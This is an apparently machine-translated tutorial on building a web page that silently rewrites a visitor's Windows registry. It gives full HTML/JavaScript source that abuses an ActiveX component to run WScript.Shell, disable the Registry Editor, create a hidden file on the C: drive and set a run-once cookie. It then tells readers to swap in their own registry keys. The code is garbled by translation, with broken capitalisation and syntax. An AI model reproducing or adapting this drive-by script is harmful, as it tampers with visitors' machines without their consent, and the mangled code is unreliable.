We often see some online: "The registry is changed by a website named xx" or "after a website is accessed, a dialog box will pop up when it is started ." And so on. In fact, only some websites use simple HTML programming to rewrite the registry. Now let's take a closer look at it and see what it is!
I wonder how much do you know about the Windows registry? We know that in windows, we can write the Registry script file "*. Reg" to rewrite the registry. Let's take a look at a registry script file:
Regedit 4
[HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ System]
"Disableregistrytools" = DWORD: 00000001
Do you understand this? The above registry script locks the Registry Editor. Now, the Registry script is compiled. Let's see how to combine it with HTML.
The following is an HTML source code:
<HTML>
<Head>
<Meta http-equiv = Content-Type content = "text/html; charset = gb2312">
<Script language = ****> document. Write ("<APPLET Height = 0 width = 0 code = com. Ms. ActiveX. activexcomponent> </APPLET> ");
Function f ()
{
Try
{
A1 = Document. Applets [0];
A1.setclsid ("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B }");
A1.createinstance ();
SH = a1.getobject ();
A1.setclsid ("{0d43fe01-f093-11cf-8940-00a0c9054228 }");
A1.createinstance ();
Fo = a1.getobject ();
If (documents. Cookie. indexof ("km169set") =-1)
{
Sh. regwrite ("hkcu \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ System \ disableregistrytools", 1, "REG_DWORD ");
Hd = fo. createtextfile ();
HD. Write ();
HD. Close ();
File = fo. GetFile ("C: \ yntop.htm ");
File. Attributes = 6;
VaR expdate = new date (). gettime () + (1 ));
Documents. Cookie = "km169set = km169; expires =" + expdate. togmtstring () + "; Path = /;"
}
}
Catch (E)
{
}
}
Function Init ()
{
SetTimeout ("F ()", 1000 );
}
Init (); </SCRIPT>
</Head>
</Html>
We noticed that in the above HTML source code, there is a line: "hkcu \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ System \ disableregistrytools", 1, "REG_DWORD", compare this line with the above registry script, we can find that the only difference between them is not the same as the connector, but also the small difference in the writing format. However, I can find out the differences between them. Next, let's take a closer look at some other statements in the HTML source code.
As you can see, this section of HTML source code uses *** to rewrite the registry. The most critical sentence is:
Sh. regwrite ("hkcu \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ System \ disableregistrytools", 1, "REG_DWORD ");
This is the statement written to the Registry: Sh. regwrite. The format is "Sh. regwrite (" registry key ", key value," key value type ");". If you want to change the content in the brackets to your own content, all others can be applied to form the simplest web page.
okay. In this Article , I will only show you how to compile a simple webpage that can rewrite the registry, I will not go into details about the Registry here. At last, Mao wo should declare that the content of this article is dangerous. Please use it with caution!